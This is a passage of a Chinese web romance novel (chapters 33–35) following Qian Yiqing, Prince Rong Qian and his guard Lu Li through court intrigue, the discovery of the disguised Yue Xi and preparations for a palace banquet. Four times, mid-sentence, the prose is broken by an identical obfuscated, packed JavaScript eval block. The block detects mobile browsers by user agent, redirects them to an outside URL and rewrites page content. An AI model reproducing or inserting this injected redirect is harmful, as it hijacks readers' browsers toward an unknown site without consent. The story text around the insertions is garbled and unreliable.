呼吸猛然一滞,千裔清诧异他又一次轻易洞察了她的心思。她哪里知道容潜摸清了她的脾性,只要她不肯正面回答,开始顾左右而言他,那就是有所顾忌了。 她顿了一顿,低声说道:“殿下可是吃好了?若无别的事我就先退下了。” 千裔清只想赶紧离开这个是非之地,再多和他待一会儿,免不了要多蜕一层皮。 容潜“嗯”了声,算是默认。 千裔清狐疑地瞥他一眼,觉得这位殿下的脾气当真是怪,一会儿对她百般刁难言语威胁,这会儿又突然变得好说话了。 她到底也没敢多说什么,毕竟多耽误一刻,容潜都很有可能变卦。 待那宛若初春新柳一般柔弱无骨的身影径直离开,这期间,她连回头看一眼都不曾给他。 容潜沉着脸起身,背着手看向人影早已消失方向。良久,他幽幽开口:“你觉得本王待她如何?” 闻言,内阁后静静待命的陆离犹豫片刻,再无半分迟疑地闪身出现。他弯下身子,低头抱拳,言辞语调都很坚定:“殿下用心良苦,待千千姑娘自然是极好的。” “那......她呢?” “这......”陆离沉默了,小心地抬起眼睛打量着崇安王的脸色,嘴巴哆嗦了半天。 陆离不知道是不是该说实话,若说了实话必定会惹殿下不快,若说谎......崇安王不是傻子,他骗不了的。他一低头,咬着牙道:“......属下不敢说!” 容潜自嘲地轻笑一声,眸光微微闪烁,划过一丝黯然,而后他突然问道:“绥夏的人马何时入京?” 陆离在脑海中稍一衡量便下出结论:“回殿下,不出两日。” “嗯,知道该怎么做吧?”无需他多言,陆离跟在他身边许久,方才的谈话听的一清二楚,自然猜的到他的用心,否则也枉费这十余年的相随。 陆离颔首,心中已经有了计策:“属下明白!” 只是,璟王从前对殿下不错,难道殿下真要算计他的二皇兄吗? 翌日,天高云阔,转眼已经进了五月中旬,越发觉得夏日的热暑即将到来,街上已经开始有人制酸梅汤来卖。 陆离不敢耽误自己主子的安排,不过一晌儿的功夫,街头巷尾已经开始议论纷纷。一传十、十传百,从坤京皇城中心一路向西,正迎上绥夏的人马。 他们议论的内容自然是绥夏送公主前来和亲的事,众人都在猜测皎月公主究竟会看上谁。 都说当朝天子上玄帝对故去的太子妃一往情深,登上帝位半载有余也是从未在后宫纳过一妃一妾。再说佑王和崇安王,一个纨绔风流不学无术,一个凶残暴戾嗜血为乐,自然都不是上佳人选。 这些故事传的有鼻子有眼的,其中自然有虚构夸大的成分,然而都是陆离私下授意刻意为之,目的只有一个,营造最后一个人选的好形象。 ——璟王。 这些消息顺理成章的传入沿途缓行的皎月公主耳中,勾起她的十足好奇,还未进夜南境内,便已对这位璟王心神向往了。 - 与陆离预测一致,五月十四,刚过午时,就听说绥夏使臣带着公主已经进了坤京城内。 容潜的伤已经愈合,剩下的只差时间静修,只不过再好的药都无法完全祛除他身上的疤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899868|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕,还是有些可惜。 千裔清是打算今日进宫请旨离开的,如果容烨拿皇权压她不让她走,她就顺势留在宫里继续研制他想要的东西,反正手里的药材也是不够的,倒可以去皇库里再寻些名药看看。总归容潜的伤已经好了,他没理由继续把她困在这里。 还未走到前院,府上的管事把她拦下。 “千千姑娘这是要出门?” 千裔清看他神色慌张,想来是得了主子的命令看着自己,她只得拿出皇帝的威名来压他:“我正要去宫里向皇上复命,宋管事可是要拦着我?” 管事讪笑着:“姑娘误会了!老奴只是想告诉姑娘这两日还是不要进宫了,即便您去了,圣上他也无暇见你!” “宫里怎么了?”千裔清突然想起前两日容潜提起过皎月公主的事,立即问道,“可是因为绥夏使臣进京的事?” 管事点点头,笑眯眯的:“不错!宫里传来消息,说是绥夏来访的使臣已经入宫了,这不!几位王爷也都进了宫,连殿下也去了。” 容潜向来不爱参与朝中政事,宫中宴会也是极少出席。绥夏来人,他却一反往常的跟着进了宫。 不对劲! 一定是在打什么主意。 千裔清沉吟,还是觉得得去一趟,她放缓了脸色,打着商量的语气:“皇上旨意在身,我实在不敢耽搁,无论如何我还是要进宫一趟,不论见得着见不着也算是我尽心了!” 宋管事到底是个见多识广的,也对自家主子颇为了解,千裔清说什么,他都神色如常的和她打太极。 “既然这样,那姑娘何不再等等,眼下殿下和陆离大人都不在府上,若是没照料好您,老奴也无法跟殿下交差啊!”宋管事的话说的很委婉,又把千裔清架在了道德高位上,没提她会不会一去不回的事,却把府上一干人等的性命安危都系在她腕上。 且他语气和善,一副面慈处处替她着想的样子,千裔清一时间也不知道该如何再和他周旋了。 想了想,她又提出一个中折的办法:“那这样,宋管事随意派给我几个人手,我乘着王府的马车进宫,想必不会出什么事,若我在宫里遇到殿下,便也能一道回来了,你说呢?” 宋管事点点头:“好是好,不过京中近日不太平,府上的人手拳脚功夫一般,怕是保护不好您。” 这府上的人舌头都是训练过的吗?怎么她说一句就能驳回一句。 还是说她许久不与旁人接触,是她自己变蠢了? 千裔清一面懊恼,一面又感到好奇:“你说京中不太平?怎么了?” 宋管事道解释道:“上个月重云门主闯宫之事姑娘可曾听说?” 千裔清点头,第一次入宫时,宫里的小太监曾向她细说过,描述的绘声绘色。 宋管事又说:“重云门是江湖大派,喻门主和当今圣上本也算交好,可惜后来出了变故......不过现下喻门主已经归隐,重云门也交予他的大弟子。他那位大弟子为人不似喻门主那般有手段,因此有许多人不服他,所以......重云门距坤京不远,姑娘还是小心些,切勿沾染上江湖纷争做冤死鬼!” 33. 故人 千裔清想起那位娇俏可人的姑娘满心欢喜地依偎在俊美男人身边的场景。 一个是喻景淮,一个是云染。 这么说,喻景淮带着云染远离江湖和朝堂去做神仙眷侣了? 喻景淮的大弟子...... 她又想起两年前的那个晚上,秀羽山下,乱灌木丛。 十七八岁的少年背着她一步一步上了鬼山。 正因如此,才有了今天的她。 她问过他叫什么名字,他说,他叫谢子源。 - 千裔清今天的运气算是不错。她原以为出不了门的,恰好一身黛紫劲装的男人携着剑从前院出来,那人正是陆离。 转角就是这番光景,陆离也一时没弄明白。 千裔清微微一笑,心中有了主意,提着裙角向台阶上迎了几步:“你回来啦!” 陆离唇角一抽,那种不好的感觉又来了。 殿下和千姑娘这两尊活菩萨,一个比一个心眼儿多,都属蜂窝煤的。整个院子里,好像只有他一个实心大木头。 不过眼前这位虽不是正牌主子,却也是不能得罪的,他压下抽搐的唇角,板着脸一本正经道:“千千姑娘有什么吩咐?” “没什么吩咐。”千裔清扫了宋管事一眼,宋管事也是识趣,知道自己在这也没什么用了,便悄悄退下。 千裔清略显疑惑:“奇怪了,你怎么没跟着容潜一同进宫?” 陆离惊出一身冷汗,汗毛都立了起来,方才想起现在殿下并不在府上,她敢直呼殿下名字,想必也是殿下应允的。 但他不敢不尊:“殿下与两位王爷一道进宫,属下无需跟着。” 千裔清敷衍地点点头,道出她真正的目的:“既然你回来就好办了,宋管事说近日京上不太平,因此他不敢放我一人出府,你是崇安王的下属,带我进宫应该不是难事吧?” 陆离问道:“你进宫做什么?” 当然是要请旨离开了! 千裔清暗自诽腹,脸上却沉静淡然:“自然是圣上交待的事有些眉目了。”说完,她抬起胳膊上挎着的药匣,屈指轻击两下示意。 陆离有些为难:“殿下现在不在府上,姑娘的事我做不了主。” “容潜不是在宫里吗?你带我进宫,见了他不就能做主了?”千裔清扬眉,等着他的回应。 陆离和王府其他人不同,他跟着崇安王的时间最长,对崇安王的私事也是最了解的,因此,崇安王和千裔清的事没人比他更清楚。 好也不好,对两人的事,他比之旁人就更纠结。究竟如何做才是对殿下好,他拿不定主意。 不过,殿下见到千千姑娘......应当会高兴吧? - 有陆离作陪,府中管事不敢说什么,宫中守卫也不敢说什么。 正珵殿。 奉茶的小太监闷声不吭的把茶水续上。 青釉的盏托之上是同色同纹的荷叶式杯盏,杯中茶叶清香扑鼻,是今年所剩不多的明前龙井。 千裔清端起茶杯,热气笼成的白烟在眼前形成薄雾,透过这层薄雾,余光随意扫过,正在抽离的手。 没想到这小太监生得一副平平模样,长相毫无记忆点,手却是极好看,比寻常女子的还要纤细柔嫩。 反正也是等着没什么事做,千裔清叫住他:“这位公公,敢问皇上要忙到几时,今日可还有机会见到他?” 小太监身形一顿,垂着脑袋转过身,对着千裔清摇了摇头。 嗯?怎么这般胆小,头也不敢抬。 千裔清放缓语气,挂上和善的笑意打开话匣子:“公公看着年岁不大,入宫几年了?” 小太监依旧垂着头,又摇了摇头,没说话。 是个哑巴?千裔清暗自疑惑,与一旁的陆离对了个眼神,陆离微微摇头,似乎也不甚清楚。 宫中选人自当是择优录用,年轻的小太监一定会选些相貌中上的,再不然也要手脚麻利能夸会哄,眼前这小太监似乎一样都不占,甚至还是个哑巴。 ......他真是个哑巴? 试试不就知道了! 眼珠左右微闪,千裔清突然有了主意,她抿唇作出不高兴的样子,把手中茶盏狠狠放在桌上,动作使了点劲儿,盏托盏杯以及贴面方桌叮咣五四一通乱响,茶水也洒了干净。 千裔清冷哼一声:“这茶水里怎么有虫子?还不快重新倒一杯!” 小太监并没被她这一声吓到,只是仍然低着头上前,伸出手提起一旁的描花青釉茶壶,细致地倒起了水。 他的动作太过流畅,出水把控的极好,一滴都没有溅出。 千裔清锁眉,突然伸手握住他的手腕,扬起眼尾笑道:“公公的手这般白净可是有什么保养秘方?能不能也教教我?”说罢,她还表现的很是喜欢,两手攥住他的手背来回揉搓。 简直是个登徒子模样! 陆离愤然,千千姑娘远离世事两年之久,怎么还是改不了勾栏院里学来的习性!纵使太监都是没根儿的奴才,那也、那也—— 想到这里,陆离轻咳几声朗声提醒她:“千千姑娘,这是在宫里,丢了殿下的脸是小,要是让皇上知道你调戏他身边的人可就不好了!”说着话时,目光中流露的鄙夷之色丝毫不减。 “什么调戏,说的这般难听。”千裔清瞥他一眼,转过头来,“公公怎么不说话?莫非真是哑巴?” 小太监挣扎了几分,无奈道:“......千千姑娘请放手。” 话音一出,千裔清也愣住了,小太监顺势抽出自己的手,连着退了好几步。 其实小太监入宫早,有许多都是没变声的,也不乏一些声线纤细好听的。 只是这声音太过纤细,若不看脸,真会误以为面前是个娇滴滴的美娇娘。 然而不是,这声音却是出现在这样一个瘦弱的年轻小太监身上。 而且......还有一丝熟悉。 小太监忙要退下,千裔清一拍桌子起身。 她冷然喝道:“你给我站住!” 他脚步一顿,低垂的脸上看不清表情:“千千姑娘还有什么吩咐?” 千裔清盯着他,手指在身侧微微勾起,回忆着方才的触感。直到来到他近前,千裔清漠然看着他命令:“把头抬起来。” 等了片刻,小太监缓缓抬头,仍是那样一张相貌平平毫无记忆点的少年姿容。 只是......这皮肤过于细致了。 肤若凝脂原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899869|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个夸张的形容,但用在他脸上却毫不夸张! “公公是皇上身边的人?”问话时,千裔清也一直在观察他的脸,却找不出什么破绽,她确信自己没见过这张脸,所以,他应该也只是个柔脂肌肤的小太监而已。 小太监神色并没什么变化,冷静回答:“回姑娘的话,是。” 每一个字每一个声调都敲在千裔清心头,这声音她分明听过,却怎么也想不起来。 “公公叫什么名字?跟在皇上身边多久了?” 小太监一怔,回道:“回姑娘的话,奴才叫初七,刚入宫不久。” “初七?”千裔清疑惑道。 “是。”初七解释,“皇上说奴才是正月初七进宫的,所以就叫初七。” 千裔清揶揄一笑:“皇上对你倒是喜欢的紧,还亲自给你赐名,想来公公是有什么过人之处了?” 眼瞧着气氛有些不对,陆离小声拦她:“你克制些,莫要在宫里为难一个小太监!他是皇上身边的人!” 听闻上玄帝不近女色,因钟情已故太子妃而洁身自好。若说这小太监乃是个女子,那容烨的眼光也太差了,怎么找个长成这般模样的女子藏在身边? 可若说他不是个女子,容烨为何要留一个这样的公公在身边放着,他有什么特别的? 然而这些都不是重点,她心中始终觉得有说不出的怪异,这人像是熟人,只是她实在想不起来。 千裔清没接他的话,而是问道:“陆离,你觉得初七公公的声音如何?” 陆离知道她什么意思,因而答道:“柔美如女子——不过这些不是你该管的!不管他是不是女子,他都是皇上的人!” 一直没说话的初七突然笑了,他垂眼捂着嘴笑的样子娇娆妩媚,正是小女儿的神态。笑了几声,他挺直了身子,不再遮遮掩埯的:“陆离大人不必再替我隐瞒了,我与千千姑娘也算旧识,她这般盘问,定是认出我了。” 一个不甚熟悉的名字呼之欲出,在喉咙卡了一下,而后被她讶然道出。 “越曦?” “千千姑娘果真记得我。”越曦释然地笑笑。 看了看陆离,他板着脸颇有些尴尬地杵着。 千裔清横了他一眼,回过头看着越曦,实在无法与记忆中始终留着一丝惊艳记忆的榴色长裙,唇红齿白的女子联系到一起。 那样深邃的异域眼瞳...... 千裔清一愣,突然明白了什么。 “你脸上......你见过方幼渺了?” 越曦点点头:“是,皇上找你想必也是为了卸去我脸上的假面。” 所以,容烨找她进宫也并非全然是个幌子,容潜把她接回来,容烨也是有一丝期望想求得她的帮助。 千裔清仍是不明白:“你不是在醉方斋吗?为什么会进宫,还做了小太监?” 越曦苦笑一声:“一言难尽,不过——”越曦扫了陆离一眼,似是有什么话说,却不好开口。略一思索,她突然上前,拉着千裔清的手反手握在掌心。 千裔清还未反应过来,疑惑地看着她,却突然惊觉手心里的异样。 一直纤细的手指在她手心极慢地一笔一划写下四个字—— 不、要、帮、他。 34. 旧事 写完之后,越曦握着她的手轻轻一攥,接着拍了两下。 脸上的笑意丝毫不变,像是什么事都没发生过一般,极为自然。 她继续先前的话:“——不过告诉你也无妨,正月初七云家遭变,我也被歹人掳去,是皇上的人救了我,入宫之后又找人为我易容,我无以为报,只好留在宫里做奴才,以报皇上的救命之恩。”说完,越曦看着陆离,“陆离大人,我说的可对?” 陆离皱起眉头,似是有什么顾虑无法言述,并没答话。 “那为何如今又要为你卸去易容?” 越曦眼中闪过一丝苦楚,黯然道:“大约......攻下了十方,他不需要我做个隐姓埋名的小太监了。” 有关十方国的事她倒是听说过一些,据说十方国的地形布防图是越曦的胞弟越昭献上的,早前她不明白越昭何以要出卖自己的国家,现在联系眼前事,她倒是有个大概的猜测。这件事应该与宫中的越曦有关。 莫非容烨以越曦的安全作为要挟,现在十方已归顺,那么越曦便不用再隐藏于世间,可以重新拾起她的身份了。 可越曦又说不要帮他。 她不想做回原来的越曦?为什么? 千裔清不免把目光转向陆离,细细观察着他的神情,这张脸上方才晃过一丝纠结,他是知情者? 是了,喻景淮可是崇安王亲自送出去的,她猜测自己在鬼山的下落也是喻景淮透露给他的。那么,容潜也是知情者...... 回去路上,陆离有些奇怪:“你不是要见皇上吗?怎么又不等了?” 千裔清撩起车幔,陆离驾着马跟在马车边上与她并齐缓行。 街边的叫卖声热闹的紧,千裔清一面欣赏着坤京近年来的变化,一面回答他:“连皇上的贴身宫人都不能旁听,想必他们谈论的是很重要的事,我再等下去也没什么意义。” 其实也不是不想等了,而是千裔清心中犹豫了。那几个字在她手心滚烫的紧。 陆离微微点头,想起越曦方才和她熟络交谈的样子:“你和越曦什么时候认识的?” “倒也不算认识,一面之缘而已。”千裔清想起在醉方斋初见越曦的场景,心中一动,“这里距醉方斋还近吗?我能不能去看看?” 陆离四处打量一圈,然后对她解释:“近倒是近,不过醉方斋没了。殿下从十方回朝时候带回一个妇人,据说是越家姐弟的生母,那越昭便卖了酒楼带他母亲去别的地方生活了。” “那越曦为什么不跟他们一起走?” 陆离不说话了,又是那副皱着眉颇纠结的神情。他知情,却畏于皇权。 千裔清掀起眼皮,干脆把帷幔勾起,趴在车窗边沿看着陆离:“喻景淮闯宫......恐怕是为了云染吧?我问你,云染为什么会出现在宫中?” 陆离紧紧抿着嘴,假装没听见。 千裔清见状,好整以暇地支起手臂,懒散地对他道:“这样吧,我说说我的猜测,若是说对了,你不必答我,若是说错了,你就摇摇头,怎么样?” 陆离仍是没说话。 千裔清看到他没立刻拒绝,就笑了笑:“你不说话我就当你默认了。”她顿了顿,正色开口,“云染是不是被绑进宫中的,她和越昭是不是相识?” 陆离没说话,也没看她,挺直脊背继续驾马走着。 千裔清心下了然,又问:“所以他们两个都和十方图有关。越曦消失在坊间数月不见踪迹,越昭是得知她姐姐在宫中才去进献十方图的?” 陆离看了她一眼,张口嗫嚅几下,还是没开口。 这其中必定有许多复杂的隐情,只是陆离不好开口。大方向原是对的,既然他没摇头,那她就还当他默认了。 千裔清暗叹容烨的心思深沉,竟连云染都利用上了,当真是不简单。 她嗤笑:“皇上费尽心思替越曦改头换面让人找不到她,原来是为了自己的野心啊。现在他大事已成,突然又要还越曦女子身份,莫非是对她有情?” 越曦那张脸,即便是身为女子的她见了也会惊叹,虽说容烨传闻中一直钟情于一人,但若说他有了心思,那也情有可原。 人总不能为了一个故去之人苦守一辈子。 等待原是这个世界上最蠢的事,更何况那个人是皇帝。 陆离叹了口气,对她流露出赞赏的神情:“千千姑娘,你真的很聪明。” “那是自然。”千裔清丝毫没有被夸奖的愉悦,她对自己的认知还是很清晰的,表现的稀松平常。 陆离的话却并没到此结束,他面上露出一丝神伤,真诚道:“你这么聪明,怎么就看不出殿下对你的痴心呢?” 千裔清心口一滞。不是心动,而是为难。 她怎会看不出,可她又实在太抗拒。 “看得出又如何,我不喜欢他。”千裔清淡然道,目光所触是马车内的一方宽大的桌几,但她看不清上面摆了些什么,目光早已涣散呆滞了。 陆离急道:“可是从前在霜序居,你和殿下不是还很好的吗?” “你也说是从前了。从前你家殿下温良恭谦、翩翩君子,如今呢?”千裔清好笑地看着他,“莫说是我,你在他手下做事就不觉得辛苦吗?” 陆离觉得千裔清实在是没良心,他急着分辩:“殿下如此转变还不都是因为你——” “是因为我又如何。”千裔清冷冷说道,“陆离大人,你家殿下的兄弟手足已经给了我惩罚,不如你也劝劝他,就当扯平了怎么样?” 她伸手摸了摸自己的右膝,膝盖骨之下还有一道十分丑陋的疤痕,皮肉之下,更是顽疾不祛。 虽是她咎由自取,她不恨,却不能不怨,也不能不怕。 陆离还想说什么,千裔清却不想听了,她把帘幔一扯,生硬的隔断了两人的视线交集,俨然做出一副到此为止的样子。 陆离咬了咬牙,狠狠叹一口气,手中缰绳又攥的更紧一些。 - 容潜回府的时候夜已经很深了。 陆离在门前庭院左转右转的定不下心神,他一直在等自己主子回来。 王府的马车刚一停下,陆离听见声音立刻迎出门去,来到跟前二话不说,扑通就跪下了。 容潜甩了甩袖子,目光在他身上停了不过半刻,沉声一句:“起来吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900692|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>眼前崇安王绕过自己要走,陆离跪着的双腿跟着转了个方向:“属下私自带千千姑娘进宫,请殿下责罚!” 容潜脚步一滞,他在宫中已然听说此事了,因此低头瞟了一眼俯在地上不敢抬头的陆离:“我知道,起来吧。” 陆离却是没起身,他一咬牙,继续认错:“属下......属下多嘴......请殿下责罚!” 容潜闻言偏过头,陆离的长剑就在他脚边,微微眯眼,他心中有了估算:“你和她说什么了?” 陆离起身,确认四下没什么人,低声和他说了几句,将今天发生的事呈报的一清二楚。 容潜默然听着,神色并没什么变化,直到陆离把话说完,他还愣了好一会儿,原来是在想事情。 陆离只当他是气的说不出话了:“殿下?” “我的性格......很差吗?”容潜对容烨的事不感兴趣,对越曦的事更不敢兴趣,至于那些什么江湖之事,他依然是没兴趣。他在意的是千裔清对他的评价。 陆离一愣,意识到崇安王在介意回程时的那几句话。他想了想,最终还是老老实实回答:“......属下不敢说。” 容潜横他一眼,罕见地带了点委屈,虽然就一点儿。 “你回去吧。” “您不处罚我了?”陆离惊讶之余更多的是惊喜。 “你很想被罚?”容潜眯着眼,语气又变得不善,似乎下一秒就要给他上十八套刑法来试试。 陆离连忙抱拳,恭敬地退开两步:“不敢不敢!多谢殿下!” 容潜淡淡“嗯”了一声便不再理会他,背影渐远,陆离也渐渐放松。 感谢!感谢千千姑娘无意的相救! 千裔清站在屋檐下看着远处的两人。虽是听不到他们说了些什么,只看陆离跪在地上的样子也能猜出七八分——认罪罢了。 而陆离一向尽忠职守,凡事一心为了容潜,处处以他家主子为中心。他会认什么罪? 左不过是因为自己罢了。 千裔清凝眉,容潜到底是夜南的王爷,又是战场上闻名的战神,她留在这始终不好,也不对。 天上星朗月清,偏院的湖边也有那样一方亭子,一处石桌,从前的承诺仿佛还历历在目,可惜物是人非,他不是容怀瑕,她也是不那个被他接回来的清影了。 霜色的身影在夜风中摇曳,缓步离开,最后停在容潜的卧房门前。 里头的灯亮着,小径上来来往往的家仆下人提着木桶匆忙而行。桶中的热水冒着热气,是崇安王刚从宫中回来还未歇下,打算焚香沐浴。 驻足片刻,眼见着下人终于要来到房前,她匆匆把手中攥了许久的药罐放在门前,又匆匆离开。 药罐中的药材原不是多名贵的,药方却是师傅后来亲制,实属难得,对祛痕有奇效。 她自己的伤现在再用已然晚了,但容潜胸口是新伤,若是现在用上,总归还是有些效果。 千裔清这才想起第一次见那伤口还十分诧异,为何十方人战场上却是用剑的。现在她想通了,容潜身上原没什么伤口,不过是为了骗她过来罢了。 何必呢? 35. 宫宴 何必呢? 其实容潜也尝尝问自己,何必呢?不过是一个欺骗他感情,将他当做棋子的女人而已。 可他又想了,在他看似光线亮丽实则暗无天日的十几年中,那是他生命中的第一道光。 第一次有人向他示好,第一次有人对他关心,第一次有人为了他拒绝有着高贵血统的兄长,第一次......他知道与人亲昵的感觉那般好。 少年的心性太容易撩拨,于是他轻易就陷进去了,待他反应过来已然晚了。 可少年的心性又太过坚定,有的人一旦认定,就像开了弓的箭羽,再也不会回头了。 什么谦和守礼,什么兄友弟恭,什么真心换真心,没有的事,喜欢就要去争,那是她教的。 要争,要有能力保护争来的东西,如此才算牢牢握在手里。 如此才算,属于他。 - 五月十五,宫中要为迎接绥夏使者和皎月公主举行筵席,容潜是一定会去的,他有他自己的主意。 千裔清左思右想都觉得不放心,她敲了敲房门,没人回应。 奇怪了,她不记得容潜已经进宫了。 推门进去,正对着大门的外殿之中,高高的香桌上架着紫铜香炉,熏香的香味含蓄沉静,恰如容潜其人。 这是他惯用的香料。 偏头看去,内阁床榻之前,颀长矜贵的身影背对着她,筋络明显的脖颈微微侧着,窗边的黄晕笼在他线条分明的侧脸上,长睫如扇,鼻梁高挺,唇角轻抿着,正在往身上套着泛光的黑色锦缎华服。 原来他在房里! 容潜听到她推门的声音便知她进来,甚至头也没抬,穿好上衣又去系他的衣带。 系好之后,他转过身,手上拿着两块玉石:“你来的正好,帮我看看系哪块玉佩?” 千裔清依言走过去,看也没看便指了一块:“这个。”说罢仍是盯着他,眼中隐有不忿。 容潜只当没看到她的表情,像个没事儿人一样笑了笑,随手丢掉一块,把她指的那块塞进她手里:“帮我系上。” 千裔清拿着没动,她想扔了,又怕自己赔不起。 容潜看着她:“不会系?那我教你。” 说着就来牵她的手,似是要抓着她的手提他系上。 触到她手背的时候,千裔清像被雷劈一般急着要抽出手,只是已然晚了,面前高出她近乎一头的男人倏的握住她双手,诧异道:“已经五月中旬,手怎么还这么凉?” 容潜说完,又在她手背上捏了一下,发觉也没什么肉感,忍不住皱眉。 千裔清扯了扯嘴角。 体寒之症,可不就是一年四季都是冷的,若是坤京的冬日,她还真怕自己熬不过,好在现在是初夏。 眼见着手被紧紧钳制,定是敌不过他的力气,千裔清有点不满:“你就不能找些人服侍穿衣吗?” 容潜漫不经心道:“我有手有脚,不需要旁人服侍。” “既然不需要旁人服侍,那这腰佩也请殿下自己系好!” 她再次尝试抽出双手,然而又是没用,对方显然不打算放了她。 “你不是旁人。”容潜望着她双眼,眼神缱绻,嘴边一丝若有若无的笑也显得极其暧昧,“提前习惯一下,省得日后麻烦。” 说的是什么话!好像她日后要天天帮他系腰佩似的。 自然,他在言语上在她便宜也不是一日两日了,更过分的也有,因此她不去理会,继续表明自己今日的来意:“我有事和你说。” “你不帮我系好,我就不听你说。” 千裔清:“......” 她只好帮他系。手上躺着的羊脂白玉龙佩比她掌心的温度要低一些,却是温凉的触感,玄色的长绦泛着黝亮的光泽,她垂头系着,却也能感受到发顶上方的呼吸越发沉重。 呼吸声越重,她的手越抖。 直到容潜终于开口:“昨夜门前的药是你放的?” “嗯。”她随意应了一声,手上又打了个结。 头顶上方的男人低低笑了,一双大手蓦的攥住她系好玉佩正要撤离的腕子,向上一带,她就这么往前扑去,被迫环住了对方的脖颈。因此才能没倒下。 接着那对罪魁祸首立刻松开,一只扣着她的腰向自己怀里揽,一只扶着她的后脑往自己的方向按。 千裔清只觉得眼前一花,还没弄清楚发生了什么,唇上的触感最先提醒她,是容潜的双唇。 对比她的,容潜永远是炙热的。 这热度十分灼人,她吃不消,立刻想要把他推开,然而想起自己今天前来的目的,她又犹豫了。 千裔清在心中权衡了片刻,两只手随心而动攀上他的后颈,几乎用尽了自己的力气,踮起脚迎合他。 这迎合的反应实在太让人惊讶和欣喜,容潜发现自己顷刻间失神愣住了,然后把怀里的人圈的更紧,似乎松了一点力气,她就会消失殆尽。 千裔清不知道容潜在想什么,她只觉得腰上的力道越来越来大,原本就被他的唇齿舌尖堵的难以呼吸,这下连胸肺也觉得喘不上气了,且她垫着脚尖,腿也渐渐发酸失力。 太难受! 她忍不住闷哼一声,这一声绝不是女子娇羞的嘤咛,容潜失神时却也很快捕捉到了她的不舒服。 容潜放开她一些,又不舍得离远了,在她微肿的红唇磨蹭着,低声关切:“是我弄疼你了?” 千裔清被他这低沉磁性的声音弄的心神不宁,耳根也有些发热,她轻轻摇头,却发现这动作只增加了与他唇瓣的接触,于是她又不敢动了。 容潜轻笑,鼻间呼出的气息绒绒的。 揉着她柔软的青丝,容潜温声细语道:“今天怎么这么主动?” 千裔清抿了抿唇,偏头把自己向后拉开一些,空出一丝能好好说话的距离。 四目相对,容潜浅薄狭长的双眼含笑,千裔清却是有点心虚了。 她犹豫开口:“我......我能不能见见祝音?” 最后两个字一出,他的眼神陡然变冷,速度快的让人猝不及防。 “又是祝音。” 容潜缓缓松手:“你讨好我,就是为了祝音?” 微寒的瞳孔加上不带感情的语气,像是在责问她。 千裔清急道:“你答应过我的,会让我再见她一次,难道你要食言?” 她还真怕容潜会食言,所以先给了些甜头,不过看这光景,他好像还是生气了。 容潜漠然凝视着她,突然扬起唇边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907274|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,露出一个意味不明的笑,让她捉摸不透。 “刚好我和璟王都要进宫赴宴,便先送你去璟王府见她吧。” “真的?”千裔清一时不敢相信,这么“体贴”的话是从容潜嘴里说出来的,他是不是吃错药了。“进宫赴宴,璟王妃不用去吗?” “她不会去。”容潜随意答道,目光落在架子上的黑色锦缎外袍,银边裹绣,是他今晚出席宫宴要穿的。 得到了应允,千裔清心情也好了起来,她何其会看人眼色,立刻明白容潜眼神的意思。 转身从架子上拿了厚裁的外袍来到他身后:“我来服侍殿下。” 容潜微阖着眼低头看她,看不出心情是好还是不好,但总归是没给她难堪,配合地张开双臂,让她替自己穿好。 摸了摸腰间的玉佩,他沉吟片刻,一手牵上她:“走吧,送你去璟王府。” - 还未到璟王府大门,撩起车帘,远远便能瞧见一趟待行的马车。 马车与大门之前,一对璧人宛若依依惜别。男子束发玉袍,女子高髻粉裳,正在为她即将出行的心上人整理衣襟,口中还在耳语些什么。 不过离得太远,看得到她的口动,却看不清侧脸之上的神情。 “急什么,马上就见着了。”容潜正坐着,低垂眼睫抚平袖口的褶皱,漫不经心的。 也是。 千裔清收敛了神态,这个时候不敢惹他不高兴,以免他即刻下令调转方向就走。 容潜做的出,她丝毫不会怀疑这种可能性。 车轮缓缓慢下来,最终停在高悬的金匾之下。 璟王府到了。 “千千姐姐?”看到来人的祝音先是一愣,紧接着便看到跟着下车的崇安王,条件反射一般缩了缩脖子,向容瑾身边靠近。 容潜对祝音的态度向来不好,也难怪她害怕。 